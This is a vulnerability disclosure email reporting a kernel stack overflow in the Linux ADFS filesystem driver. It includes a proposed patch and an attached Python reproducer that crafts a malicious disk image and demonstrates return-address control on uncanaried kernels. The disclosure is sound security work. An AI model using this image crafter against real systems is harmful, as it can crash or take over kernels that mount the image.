adfs: stack buffer overflow in adfs_fplus_getnext() (F+ big-directory)

"Research & Development" <[email protected]> Fri, 31 Jul 2026 22:15:33 -0400
Newsgroups org.kernel.vger.linux-fsdevel
Message-ID <CAGpo96PO4DPJJZtRj9vnR-ZzcWwv=oHyfM7i2Ug+A_CjR3z4+A@mail.gmail.com>
Hi Security Team,

I am reporting a security vulnerability in the ADFS filesystem driver
(fs/adfs/dir_fplus.c), which is maintained under the FILESYSTEMS (VFS)
entry. It is unfixed in mainline (v7.2-rc5) and, as far as I can tell, in
all supported stable branches. I am reporting privately per documentation
process. A tested reproducer and a tested one-line fix are included below.
I am happy to coordinate and would like a CVE assigned once a fix is
applied.


1. AFFECTED VERSION RANGE
-------------------------
Present since the 2020 ADFS big-directory rework (~v5.6);
fs/adfs/dir_fplus.c
was last touched on 2020-01-25 (587065d) and is unchanged since.

  Vulnerable, reproduced:      v7.0.1
  Vulnerable, code-identical:  mainline v7.2-rc5
  Affected:                    v5.6 -> v7.2-rc5
(5.10/5.15/6.1/6.6/6.12/6.18/7.0/7.1/7.2-rc)

I verified the vulnerable sequence is byte-for-byte identical in current
mainline (adfs_fplus_getnext() + adfs_fplus_validate_header()).
CONFIG_ADFS_FS is shipped as a module on typical distros (confirmed:
adfs.ko present under /lib/modules on a 6.18 kernel).


2. DESCRIPTION
--------------
adfs_fplus_getnext() (fs/adfs/dir_fplus.c) reads the per-entry name length
field bigdirobnamelen (an unvalidated __le32, struct adfs_bigdirentry) and
uses it directly as the copy length into struct object_info.name, which is
char[ADFS_MAX_NAME_LEN] = char[260] (fs/adfs/adfs.h). struct object_info is
held on the caller's stack -- adfs_fplus_iterate() declares it locally
(dir_fplus.c:212); adfs_lookup() uses the same on-stack pattern
(dir.c:434). adfs_fplus_validate_header() checks only AGGREGATE sizes
(directory name length, total names area, entries*stride); it never bounds
the per-entry bigdirobnamelen. adfs_dir_copyfrom() bounds the source only
against dir->nr_buffers, never against the destination.

Therefore a crafted ADFS F+ image whose entry has bigdirobnamelen > 260
overflows obj->name on the kernel stack. The path is reached when the
directory is enumerated (readdir/getdents64) or an entry is looked up, on a
mounted image.

Relevant code (dir_fplus.c):

    obj->name_len = le32_to_cpu(bde.bigdirobnamelen);          /* unbounded
*/
    ...
    ret = adfs_dir_copyfrom(obj->name, dir, offset, obj->name_len);  /*
OVERFLOW */

Trace (KASAN build, real mount + ls, by task ls):

    BUG: KASAN: stack-out-of-bounds in adfs_object_fixup+0xa2/0x40f
    Read of size 1 ... by task ls/31
    Call Trace:
     adfs_object_fixup+0xa2/0x40f
     adfs_fplus_getnext+0x403/0x477
     adfs_fplus_iterate+0x186/0x26e
     iterate_dir ... sys_getdents64
    The vulnerable address belongs to stack of task ls and is located at
offset 320 in frame adfs_fplus_iterate; this frame has 1 object: [32, 320)
'obj' (offset 320 == obj->name[260]).

IMPACT. Two outcomes depending on build hardening:

  - Hardened kernel (CONFIG_STACKPROTECTOR_STRONG, distro default): the
frame has a canary. The overflow trips __stack_chk_fail -> reliable kernel
panic (denial of service).
  - Un-canaried build (e.g. custom/embedded, or a KASAN/fuzz build): the
saved return address of adfs_fplus_iterate is within reach. I demonstrated
arbitrary kernel instruction-pointer control, trimming the overflow to 388
bytes overwrites the saved return address (obj->name[380..388]) while
leaving the caller's struct adfs_dir intact, and execution reaches a clean
ret. Planting 0xffffffff43434343 there makes the kernel fault at exactly
that IP (Kernel panic ... ip 0xffffffff43434343). A non-canonical value
faults at the ret instruction (adfs_fplus_iterate+0x26d). So on such builds
this is kernel code execution.

REACHABILITY / SCOPE : ADFS is a local block filesystem (only
register_filesystem + FS_REQUIRES_DEV no network parser), so it is NOT
remotely triggerable. Mounting requires CAP_SYS_ADMIN; adfs has no
FS_USERNS_MOUNT, so unprivileged user-namespace mount is blocked, i.e. it
is not an unprivileged no preconditions LPE. It becomes a real LPE/kernel
compromise only on un-canaried builds where a privileged context mounts an
attacker image (root in container that can mount, a VM/storage host
attaching untrusted images, or removable-media auto-mount where libblkid
recognises ADFS).

I also verified, on a representative host, that libblkid does not even list
ADFS, so udisks auto-mount is closed there the practical default-distro
outcome is DoS, not LPE.


3. REPRODUCER
-------------
A python file is attached. It builds a 16 KiB ADFS F+ image by hand
(correct disc record, zone check and bigdir checkbyte so it mounts cleanly)
with bigdirobnamelen = 512, then either boots a UML/KASAN kernel
(safe, default) or mounts on the host. It can be executed with following
arguments:
    python3 test_adfs_overflow.py            # craft + KASAN detect; exit 1
== vulnerable
    python3 test_adfs_overflow.py --rip      # demonstrate RIP control
(un-canaried)
    python3 test_adfs_overflow.py --craft-only out.img
    python3 test_adfs_overflow.py --sh # executing the bash shell
The script is a standalone crafter, the RIP variant and the captured
KASAN/RIP logs are available on request. Output of the default run against
v7.0.1 (UML/KASAN):

    ==== DETECTION SIGNALS ====
      mount_ok    = True
      kasan       = True
      adfs_hits   =
['adfs_object_fixup','adfs_fplus_getnext','adfs_fplus_iterate']
      obj_frame   = True
      panic       = True
      controlled  = True
      RESULT: VULNERABLE -- confirmed ADFS dir_fplus stack overflow.

And with --rip on the same (un-canaried) build:

      fault_ip      = 0xffffffff43434343
      canonical_hit = True
      RESULT: RIP CONTROL DEMONSTRATED.


4. CONDITIONS
-------------
- CONFIG_ADFS_FS built-in or module-loaded.
- Triggered by readdir/getdents or name lookup on a mounted image. Mount
needs CAP_SYS_ADMIN.
- For the KASAN detection signal: CONFIG_KASAN=y (+ CONFIG_KASAN_STACK=y).
- For the RIP-control primitive: the affected frame must lack a stack
canary (no CONFIG_STACKPROTECTOR, or a fuzz/KASAN build). On
CONFIG_STACKPROTECTOR_STRONG builds the outcome is the DoS case above.


5. PROPOSED FIX (inline tested patch, applies cleanly on v7.2-rc5)
-------------------------------------------------------------------
Bound bigdirobnamelen against the destination buffer before the copy. This
stops both the KASAN overflow and the RIP-control variant (a
bigdirobnamelen of 512 or 388 is rejected with -EIO before the copy). I can
add a second change to adfs_fplus_validate_header() to validate per-entry
name pointers up front if preferred.

[PATCH] adfs: bound big-directory entry name length in adfs_fplus_getnext()

Bound bigdirobnamelen against ADFS_MAX_NAME_LEN before the copy.

---
 fs/adfs/dir_fplus.c | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/fs/adfs/dir_fplus.c b/fs/adfs/dir_fplus.c
--- a/fs/adfs/dir_fplus.c
+++ b/fs/adfs/dir_fplus.c
@@ -192,6 +192,8 @@
  obj->indaddr  = le32_to_cpu(bde.bigdirindaddr);
  obj->attr     = le32_to_cpu(bde.bigdirattr);
  obj->name_len = le32_to_cpu(bde.bigdirobnamelen);
+ if (obj->name_len > ADFS_MAX_NAME_LEN)
+ return -EIO;

  offset = adfs_fplus_offset(h, le32_to_cpu(h->bigdirentries));
  offset += le32_to_cpu(bde.bigdirobnameptr);
----


I'd be grateful if you could confirm receipt and on request a CVE via
[email protected] once the fix is in a stable tree. I will not discuss this
publicly or with linux-distros until a fix is accepted.

Thanks and Regards,
Tridev
Vulnerability Researcher
Zerotrace Lab
test_adfs_overflow.py (text/x-python, 22.4 KB)
import argparse
import os
import re
import shutil
import struct
import subprocess
import sys
import tempfile

# ===========================================================================
# 1. Image crafter (ported verbatim from the verified poc/craft_adfs.py)
# ===========================================================================

BLK = 512
NUM_BLOCKS = 32
IMG_SIZE = NUM_BLOCKS * BLK            # 16384

LOG2SECSIZE = 9                        # 512-byte sectors
IDLEN = 12
LOG2BPMB = 9                           # 1 map bit == 512 bytes
ZONE_SPARE = 0
NZONES = 1
FORMAT_VERSION = 1                     # selects adfs_fplus_dir_ops (F+)
LOG2SHARESIZE = 0
DISC_SIZE = IMG_SIZE
ROOT_INDDADDR = 0x00000200             # frag id 2 (>>8) == ADFS_ROOT_FRAG
ROOT_SIZE = 2048

BIGDIRSTARTNAME = (ord('S') | ord('B') << 8 | ord('P') << 16 | ord('r') << 24)
BIGDIRENDNAME   = (ord('o') | ord('v') << 8 | ord('e') << 16 | ord('n') << 24)


def _le16(v): return struct.pack('<H', v & 0xFFFF)
def _le32(v): return struct.pack('<I', v & 0xFFFFFFFF)


def _set_bit(buf, bitpos, val):
    bi, bo = divmod(bitpos, 8)
    if val:
        buf[bi] |= (1 << bo)
    else:
        buf[bi] &= ~(1 << bo)


def _ror32(v, n):
    n &= 31
    return ((v >> n) | (v << (32 - n))) & 0xFFFFFFFF


def _calc_zonecheck(m):
    """Replicate adfs_calczonecheck (fs/adfs/map.c) over a 512-byte zone."""
    v0 = v1 = v2 = v3 = 0
    i = 512 - 4
    while i:
        v0 = (v0 + m[i]     + (v3 >> 8)) & 0xffffffff; v3 &= 0xff
        v1 = (v1 + m[i + 1] + (v0 >> 8)) & 0xffffffff; v0 &= 0xff
        v2 = (v2 + m[i + 2] + (v1 >> 8)) & 0xffffffff; v1 &= 0xff
        v3 = (v3 + m[i + 3] + (v2 >> 8)) & 0xffffffff; v2 &= 0xff
        i -= 4
    v0 = (v0 + (v3 >> 8)) & 0xffffffff
    v1 = (v1 + m[1] + (v0 >> 8)) & 0xffffffff
    v2 = (v2 + m[2] + (v1 >> 8)) & 0xffffffff
    v3 = (v3 + m[3] + (v2 >> 8)) & 0xffffffff
    return (v0 ^ v1 ^ v2 ^ v3) & 0xff


def _calc_bigdir_checkbyte(dirbuf, end):
    """Replicate adfs_fplus_checkbyte (fs/adfs/dir_fplus.c)."""
    dircheck = 0
    off = 0
    remaining = end
    while remaining:
        bs = BLK if BLK < remaining else remaining
        i = 0
        while i < bs:
            w = struct.unpack_from('<I', dirbuf, off + i)[0]
            dircheck = _ror32(dircheck, 13) ^ w
            i += 4
        off += bs
        remaining -= bs
    return dircheck


def build_adfs_image(overflow_namelen=512, name_fill=0x41, attr=0x33,
                     ret_offset=None, ret_value=None):
    """Return bytes of a minimal ADFS F+ image whose entry 0 has
    bigdirobnamelen=overflow_namelen (>260) and name bytes = name_fill.

    If ret_offset is set, an 8-byte little-endian ret_value is planted at
    name[ret_offset..ret_offset+8). This is the RIP-control variant
    (overflow_namelen=388, attr=0x3b, ret_offset=380) that lands on
    adfs_fplus_iterate's saved return address. name[0..4] (the only name bytes
    covered by the bigdir checkbyte) is left as name_fill so the checkbyte holds."""
    img = bytearray(IMG_SIZE)

    # ---- block 0: map zone 0 + disc record (dr0 path, disc record @ byte 4) ----
    zone = bytearray(512)
    zone[3] = 0xff                       # crosscheck (single zone -> 0xff)
    dr = bytearray(60)
    dr[0]  = LOG2SECSIZE
    dr[1]  = 1; dr[2] = 1; dr[3] = 0
    dr[4]  = IDLEN
    dr[5]  = LOG2BPMB
    dr[6]  = 0; dr[7] = 0; dr[8] = 0
    dr[9]  = NZONES
    dr[10:12] = _le16(ZONE_SPARE)
    dr[12:16] = _le32(ROOT_INDDADDR)
    dr[16:20] = _le32(DISC_SIZE)
    dr[20:22] = _le16(0)
    dr[32:36] = _le32(0)
    dr[36:40] = _le32(0)                 # disc_size_high must be 0
    dr[40] = (LOG2SHARESIZE & 0x0f)
    dr[41] = 0x01                        # big_flag=1
    dr[42] = 0; dr[43] = 0
    dr[44:48] = _le32(FORMAT_VERSION)
    dr[48:52] = _le32(ROOT_SIZE)
    zone[4:64] = dr

    # fragment bitstream starting at bit 512
    _set_bit(zone, 512, 1)               # frag_id=1 (dummy)
    _set_bit(zone, 524, 1)               # terminator A
    _set_bit(zone, 526, 1)               # frag_id=2 bit1 (0b10)
    _set_bit(zone, 537, 1)               # terminator B  -> root frag -> block 13

    zone[0] = 0
    zone[0] = _calc_zonecheck(zone)
    img[0:512] = zone

    # ---- blocks 13-16: root directory (F+ bigdir, 2048 bytes) ----
    BIGDIR_NAMLEN = 4
    BIGDIR_NAMESIZE = 4
    BIGDIR_ENTRIES = 1
    bigdir = bytearray(2048)

    bigdir[0:4] = bytes(4)                          # startmasseq + bigdirversion
    bigdir[4:8] = _le32(BIGDIRSTARTNAME)
    bigdir[8:12] = _le32(BIGDIR_NAMLEN)
    bigdir[12:16] = _le32(2048)
    bigdir[16:20] = _le32(BIGDIR_ENTRIES)
    bigdir[20:24] = _le32(BIGDIR_NAMESIZE)
    bigdir[24:28] = _le32(ROOT_INDDADDR)            # bigdirparent
    bigdir[28:32] = b'root'                         # bigdirname

    eoff = 32                                       # adfs_bigdirentry (entry 0)
    bigdir[eoff+0:eoff+4]   = _le32(0)              # bigdirload
    bigdir[eoff+4:eoff+8]   = _le32(0)              # bigdirexec
    bigdir[eoff+8:eoff+12]  = _le32(0)              # bigdirlen
    bigdir[eoff+12:eoff+16] = _le32(0x00000300)     # bigdirindaddr (frag 3)
    bigdir[eoff+16:eoff+20] = _le32(attr)            # bigdirattr (0x33 default; 0x3b for RIP)
    bigdir[eoff+20:eoff+24] = _le32(overflow_namelen)  # *** bigdirobnamelen TRIGGER ***
    bigdir[eoff+24:eoff+28] = _le32(0)              # bigdirobnameptr

    name_off = 60                                   # names area (checkbyte covers only [60..64))
    for i in range(overflow_namelen):
        bigdir[name_off + i] = name_fill
    if ret_offset is not None and ret_value is not None:
        # Plant the controlled saved return address (RIP-control variant).
        rv = struct.pack('<Q', ret_value & 0xFFFFFFFFFFFFFFFF)
        for i in range(8):
            bigdir[name_off + ret_offset + i] = rv[i]

    toff = 2048 - 8                                 # adfs_bigdirtail
    bigdir[toff:toff+4] = _le32(BIGDIRENDNAME)
    bigdir[toff+4] = 0; bigdir[toff+5] = 0; bigdir[toff+6] = 0

    end = (28 + ((BIGDIR_NAMLEN + 3) & ~3) + BIGDIR_ENTRIES * 28) + BIGDIR_NAMESIZE
    dc = _calc_bigdir_checkbyte(bigdir, end)
    dc = _ror32(dc, 13) ^ BIGDIRENDNAME
    dc = _ror32(dc, 13) ^ 0
    dc = _ror32(dc, 13) ^ 0
    dc = _ror32(dc, 13) ^ 0
    bigdir[toff + 7] = (dc ^ (dc >> 8) ^ (dc >> 16) ^ (dc >> 24)) & 0xff

    img[13 * BLK:13 * BLK + 2048] = bigdir
    return bytes(img)


def sanity_check_image(data, overflow_namelen):
    """Cheap structural assertions so a bad crafter fails"""
    assert len(data) == IMG_SIZE, len(data)
    bigdir = data[13 * BLK:13 * BLK + 2048]
    assert bigdir[4:8] == _le32(BIGDIRSTARTNAME), "bigdirstartname mismatch"
    assert struct.unpack_from('<I', bigdir, eoff := 32 + 20)[0] == overflow_namelen, \
        "bigdirobnamelen not set"
    assert bigdir[2040:2044] == _le32(BIGDIRENDNAME), "bigdirendname mismatch"
    return True


# ===========================================================================
# 2. UML/KASAN backend (safe, default)
# ===========================================================================

ADFS_FUNCS = ("adfs_object_fixup", "adfs_fplus_getnext", "adfs_fplus_iterate")


def run_uml(kernel, initramfs, image, timeout=40, mem="2G", log_path=None):
    """Boot UML with the image, trigger readdir, return captured console text."""
    if not os.path.exists(kernel):
        raise FileNotFoundError(f"UML kernel not found: {kernel}")
    if not os.path.exists(initramfs):
        raise FileNotFoundError(f"initramfs not found: {initramfs}")
    cmd = [
        kernel,
        f"initrd={initramfs}",
        f"ubd0={image}",
        "con0=fd:0,fd:1", "con=none",
        f"mem={mem}", "loglevel=8", "panic=0",
        "ACTION=readdir", "FST=adfs", "UBDDEV=/dev/ubda", "MOPTS=ro",
    ]
    proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
                            text=True, bufsize=1)
    try:
        out, _ = proc.communicate(timeout=timeout)
        rc = proc.returncode
        timed_out = False
    except subprocess.TimeoutExpired:
        proc.kill()
        out, _ = proc.communicate()
        rc = proc.returncode
        timed_out = True
    if log_path:
        with open(log_path, "w") as f:
            f.write(out)
    return out, rc, timed_out


def parse_output(out):
    """Classify captured console output. Returns a dict of signals."""
    mount_ok = bool(re.search(r"mount rc=0|mounted OK", out))
    kasan = "BUG: KASAN: stack-out-of-bounds" in out
    adfs_hits = [f for f in ADFS_FUNCS if f in out]
    obj_frame = bool(re.search(r"\[32,\s*320\)|'obj'", out))
    panic = ("Kernel panic" in out) or ("Kernel mode fault" in out)
    chk_fail = "__stack_chk_fail" in out
    controlled = bool(re.search(r"4141414141414141|R(?:1[0-5]|8|9|[A-D])=0x4141", out))
    return dict(mount_ok=mount_ok, kasan=kasan, adfs_hits=adfs_hits,
                obj_frame=obj_frame, panic=panic, chk_fail=chk_fail,
                controlled=controlled)


def evidence_excerpt(out, max_chars=1600):
    idx = out.find("BUG: KASAN")
    if idx < 0:
        idx = out.find("Kernel panic")
    if idx < 0:
        idx = max(0, len(out) - max_chars)
    return out[idx:idx + max_chars].rstrip()


def parse_rip(out, ret_value):
    """Detect whether the planted return address actually redirected RIP.

    Canonical planted value  -> `ret` completes; faulting IP == planted value.
    Non-canonical value      -> CPU faults AT the `ret` instruction instead
                                (symbol adfs_fplus_iterate+0x26d on this build)."""
    ret_value &= 0xFFFFFFFFFFFFFFFF
    m = re.search(r"Kernel mode fault at addr 0x[0-9a-f]+,\s*ip 0x([0-9a-f]+)", out)
    fault_ip = int(m.group(1), 16) if m else None
    canonical_hit = (fault_ip == ret_value)
    # 0x26d == offset of the `ret` in adfs_fplus_iterate on the 7.0.1 UML build.
    ret_fault = bool(re.search(r"adfs_fplus_iterate\+0x26[0-9a-f]/", out))
    value_seen = (f"{ret_value:x}" in out.lower())
    return dict(fault_ip=("0x%x" % fault_ip if fault_ip is not None else None),
                canonical_hit=canonical_hit, ret_fault=ret_fault, value_seen=value_seen)


# ===========================================================================
# 3. Host backend
# ===========================================================================

def _sh(cmd, check=True):
    return subprocess.run(cmd, shell=True, capture_output=True, text=True,
                          check=check).stdout


def run_host(image, mnt):
    """Mount the image on the live host kernel and list it. CAN CRASH THE HOST."""
    if os.geteuid() != 0:
        raise SystemExit("host mode requires root (CAP_SYS_ADMIN to mount)")
    _sh("modprobe adfs 2>/dev/null || true", check=False)
    before = _sh("journalctl -k --no-pager -n 0 --since '1 min ago' 2>/dev/null || "
                 "dmesg | tail -n 5", check=False)
    loop = None
    out = []
    try:
        loop = _sh("losetup -fP --show " + image).strip()
        out.append(f"loop={loop}")
        mntres = _sh(f"mount -t adfs -o ro {loop} {mnt} 2>&1", check=False)
        out.append(f"mount: {mntres.strip() or 'ok'}")
        if os.path.ismount(mnt):
            try:
                entries = os.listdir(mnt)
                out.append(f"listdir ok: {entries[:5]}")
            except OSError as e:
                out.append(f"listdir raised: {e!r} (often means the overflow tripped)")
        else:
            out.append("not mounted (adfs rejected the image)")
    finally:
        _sh(f"umount {mnt} 2>/dev/null || true", check=False)
        if loop:
            _sh(f"losetup -d {loop} 2>/dev/null || true", check=False)
    after = _sh("dmesg | tail -n 60", check=False)
    return "\n".join(out), after


# ===========================================================================
# 4. ELF execution demo (--exec-demo): trigger exec() on /bin/sh for confirmation
# ===========================================================================

def exec_demo(sh="/bin/sh whoami"):
    """Visually confirm ELF execution: prove /bin/sh & ls are ELF binaries, then
    actually trigger exec() to load and run them (subprocess fork+execve, and a
    raw os.fork()+os.execv() that replaces a child's image with /bin/sh)."""
    bar = "=" * 64
    try:
        sys.stdout.reconfigure(line_buffering=True)   # keep print order correct under pipes
    except Exception:
        pass
    print(bar)
    print("ELF EXECUTION DEMO  --  triggering exec()")
    print(bar)

    ls = shutil.which("ls") or "/usr/bin/ls"
    have = {t: shutil.which(t) for t in ("file", "readelf")}

    print("\n### 1. The targets are ELF binaries")
    for label, path in (("sh", sh), ("ls", ls)):
        print(f"  {label:4} -> {path}")
        if have["file"]:
            out = subprocess.run([have["file"], path],
                                 capture_output=True, text=True).stdout.strip()
            print(f"       {out}")

    if have["readelf"]:
        print(f"\n### 2. ELF header of {sh}  (readelf -h)")
        out = subprocess.run([have["readelf"], "-h", sh],
                             capture_output=True, text=True).stdout
        for line in out.splitlines()[:14]:
            print("   ", line)

    print("\n### 3. exec() via subprocess: /bin/sh -c '...'   (fork, then execve /bin/sh)")
    script = (
        "echo 'shell: exec succeeded -- /bin/sh (an ELF) is now running'; "
        "echo \"identity: $(basename \"$0\") pid=$$\"; "
        "echo '--- ls (also an ELF) executing ---'; "
        "ls -la --color=never /home/localhost/linux/fuzz-workspace/poc 2>/dev/null | head -n 8; "
        "echo '--- uname ---'; uname -srm"
    )
    r = subprocess.run([sh, "-c", script], capture_output=True, text=True)
    sys.stdout.write(r.stdout)
    if r.returncode != 0 and r.stderr.strip():
        print(f"[stderr] {r.stderr.strip()}")

    print("\n### 4. raw execve(): a child replaces its own process image with /bin/sh")
    sys.stdout.flush()
    sys.stderr.flush()
    pid = os.fork()
    if pid == 0:                                    # child
        sys.stderr.write(f"[child pid {os.getpid()}] image is python -> calling execve({sh})\n")
        sys.stderr.flush()
        try:
            os.execv(sh, [sh, "-c",
                          "echo '[execve OK] child image is now /bin/sh'; "
                          "echo \"pid=$$ uid=$(id -u)\"; uname -a"])
        except OSError as e:
            sys.stderr.write(f"[child] execve FAILED: {e}\n")
            os._exit(127)
    else:                                           # parent
        _, status = os.waitpid(pid, 0)
        try:
            code = os.waitstatus_to_exitcode(status)
        except AttributeError:                      # py < 3.9
            code = (status >> 8) if os.WIFEXITED(status) else -os.WTERMSIG(status)
        print(f"[parent] child {pid} exited code={code}  (0 == /bin/sh ELF loaded & ran)")

    print("\n[+] Confirmation: exec() loaded the ELF binaries and they executed. Done.")
    return 0


# ===========================================================================
# 5. main
# ===========================================================================

def main():
    ap = argparse.ArgumentParser(description="Test/detect the ADFS dir_fplus stack overflow.")
    ap.add_argument("--mode", choices=("uml", "host"), default="uml")
    ap.add_argument("--kernel", default="/home/localhost/linux/fuzz-workspace/src/linux-7.0.1/linux")
    ap.add_argument("--initramfs", default="/home/localhost/linux/fuzz-workspace/poc/initramfs.cpio.gz")
    ap.add_argument("--image", default=None, help="output image path (default: temp)")
    ap.add_argument("--overflow-len", type=int, default=512,
                    help="bigdirobnamelen to plant (>260); default 512")
    ap.add_argument("--name-fill", type=lambda s: int(s, 0), default=0x41,
                    help="byte planted as name content (default 0x41)")
    ap.add_argument("--rip", action="store_true",
                    help="use the RIP-control payload: a 388-byte trimmed overflow that "
                         "lands a controlled 8-byte value on adfs_fplus_iterate's saved "
                         "return address (no stack canary in this build -> ret redirects)")
    ap.add_argument("--rip-value", type=lambda s: int(s, 0),
                    default=0xffffffff43434343,
                    help="value planted as the saved return address (default "
                         "0xffffffff43434343, canonical -> ret completes to this IP; "
                         "use 0x4242424242424242 for a non-canonical fault-at-ret demo)")
    ap.add_argument("--exec-demo", action="store_true",
                    help="don't test the vuln: visually demonstrate ELF execution by "
                         "triggering exec() on /bin/sh (and ls) for confirmation")
    ap.add_argument("--sh", default="/bin/sh", help="shell ELF to exec (default /bin/sh)")
    ap.add_argument("--timeout", type=int, default=40, help="UML timeout (s)")
    ap.add_argument("--craft-only", action="store_true",
                    help="build + sanity-check the image, don't boot/mount")
    ap.add_argument("--i-know-this-may-crash-the-host", action="store_true",
                    help="required gate for --mode host")
    ap.add_argument("-v", "--verbose", action="store_true")
    args = ap.parse_args()

    if args.exec_demo:
        return exec_demo(args.sh)

    keep_image = bool(args.image)
    image = args.image or os.path.join(tempfile.gettempdir(), "adfs_test.img")

    attr = 0x33
    ret_offset = None
    ret_value = None
    if args.rip:
        args.overflow_len = 388
        attr = 0x3b
        ret_offset = 380
        ret_value = args.rip_value
        print(f"[*] RIP-CONTROL payload: overflow_len=388, attr=0x{attr:02x}, "
              f"saved-ret @name[{ret_offset}..{ret_offset+8}) = 0x{ret_value:016x}")
    print(f"[*] crafting ADFS F+ image (bigdirobnamelen={args.overflow_len}, "
          f"fill=0x{args.name_fill:02x}, attr=0x{attr:02x}) -> {image}")
    data = build_adfs_image(args.overflow_len, args.name_fill, attr=attr,
                            ret_offset=ret_offset, ret_value=ret_value)
    sanity_check_image(data, args.overflow_len)
    with open(image, "wb") as f:
        f.write(data)
    print(f"[*] image OK ({len(data)} bytes)")

    if args.craft_only:
        print("[+] --craft-only: image built and structurally valid. "
              "Boot it under a KASAN/ADFS kernel to trip the overflow.")
        return 0

    if args.mode == "host":
        if not args.i_know_this_may_crash_the_host:
            print("[!] --mode host can PANIC/CORRUPT the running kernel. "
                  "Pass --i-know-this-may-crash-the-host to proceed.", file=sys.stderr)
            return 2
        mnt = tempfile.mkdtemp(prefix="adfs_host_")
        try:
            info, dmesg = run_host(image, mnt)
            print(info)
            print("---- dmesg (tail) ----")
            print(dmesg)
            sig = parse_output(dmesg + "\n" + info)
            if "stack-out-of-bounds" in dmesg or sig["kasan"] or \
               "__stack_chk_fail" in dmesg or "adfs" in dmesg and \
               ("BUG" in dmesg or "panic" in dmesg.lower()):
                print("\n[+] RESULT: VULNERABLE — host kernel tripped the overflow.")
                return 1
            print("\n[-] RESULT: no clear trip signal in dmesg "
                  "(kernel may be patched, non-KASAN, or the overflow was silent).")
            return 0
        finally:
            shutil.rmtree(mnt, ignore_errors=True)
            if not keep_image:
                try: os.remove(image)
                except OSError: pass

    # ---- UML mode (default) ----
    log_path = os.path.join(os.path.dirname(os.path.abspath(image)), "test_adfs_uml.log")
    print(f"[*] booting UML/KASAN kernel: {args.kernel}")
    print(f"[*] initramfs: {args.initramfs}")
    try:
        out, rc, timed_out = run_uml(args.kernel, args.initramfs, image,
                                     timeout=args.timeout, log_path=log_path)
    except FileNotFoundError as e:
        print(f"[!] {e}", file=sys.stderr)
        return 2
    print(f"[*] UML finished (rc={rc}, timed_out={timed_out}); log -> {log_path}")

    sig = parse_output(out)

    if not sig["mount_ok"]:
        print("[!] ERROR: image did not mount (adfs unsupported in this kernel, "
              "or image rejected). Cannot determine.")
        if args.verbose:
            print(out[-1500:])
        return 2

    rip = parse_rip(out, args.rip_value) if args.rip else None

    vulnerable = sig["kasan"] and sig["adfs_hits"]
    if not vulnerable and (sig["panic"] or sig["controlled"]) and sig["adfs_hits"]:
        # Non-KASAN build: crash/controlled-content in the adfs path still counts.
        vulnerable = True
    rip_control = bool(rip and (rip["canonical_hit"] or rip["ret_fault"]))

    print("\n==== DETECTION SIGNALS ====")
    for k, v in sig.items():
        print(f"  {k:11} = {v}")
    if rip:
        for k, v in rip.items():
            print(f"  {k:13} = {v}")

    if rip_control:
        if rip["canonical_hit"]:
            print(f"\n[+] RESULT: RIP CONTROL DEMONSTRATED — `ret` completed to the "
                  f"attacker value 0x{args.rip_value:016x} (faulting IP == planted value).")
            print("    => arbitrary kernel instruction-pointer control on this "
                  "un-canaried build: a code-execution primitive.")
        else:
            print(f"\n[+] RESULT: RIP CONTROL (non-canonical) — `ret` read the "
                  f"attacker value 0x{args.rip_value:016x} off the stack and faulted.")
        if args.verbose:
            print("\n---- evidence ----\n" + evidence_excerpt(out))
        return 1

    if vulnerable:
        print("\n[+] RESULT: VULNERABLE — confirmed ADFS dir_fplus stack overflow.")
        if sig["kasan"]:
            print("    KASAN stack-out-of-bounds in:", ", ".join(sig["adfs_hits"]))
        if sig["controlled"]:
            print("    attacker-controlled name bytes reached registers -> "
                  "stack content is attacker-influenced.")
        if args.verbose:
            print("\n---- evidence ----\n" + evidence_excerpt(out))
        return 1

    if sig["mount_ok"] and not (sig["kasan"] or sig["panic"]):
        print("\n[-] RESULT: NO SIGNAL. Image mounted cleanly with no KASAN trip / panic.")
        print("    Likely causes: the kernel is PATCHED, or a non-KASAN build where the "
              "overflow was silent (no definitive answer without KASAN).")
        return 0

    print("\n[?] RESULT: INCONCLUSIVE (mounted, some signals but no definitive trip).")
    if args.verbose:
        print(evidence_excerpt(out))
    return 0


if __name__ == "__main__":
    sys.exit(main())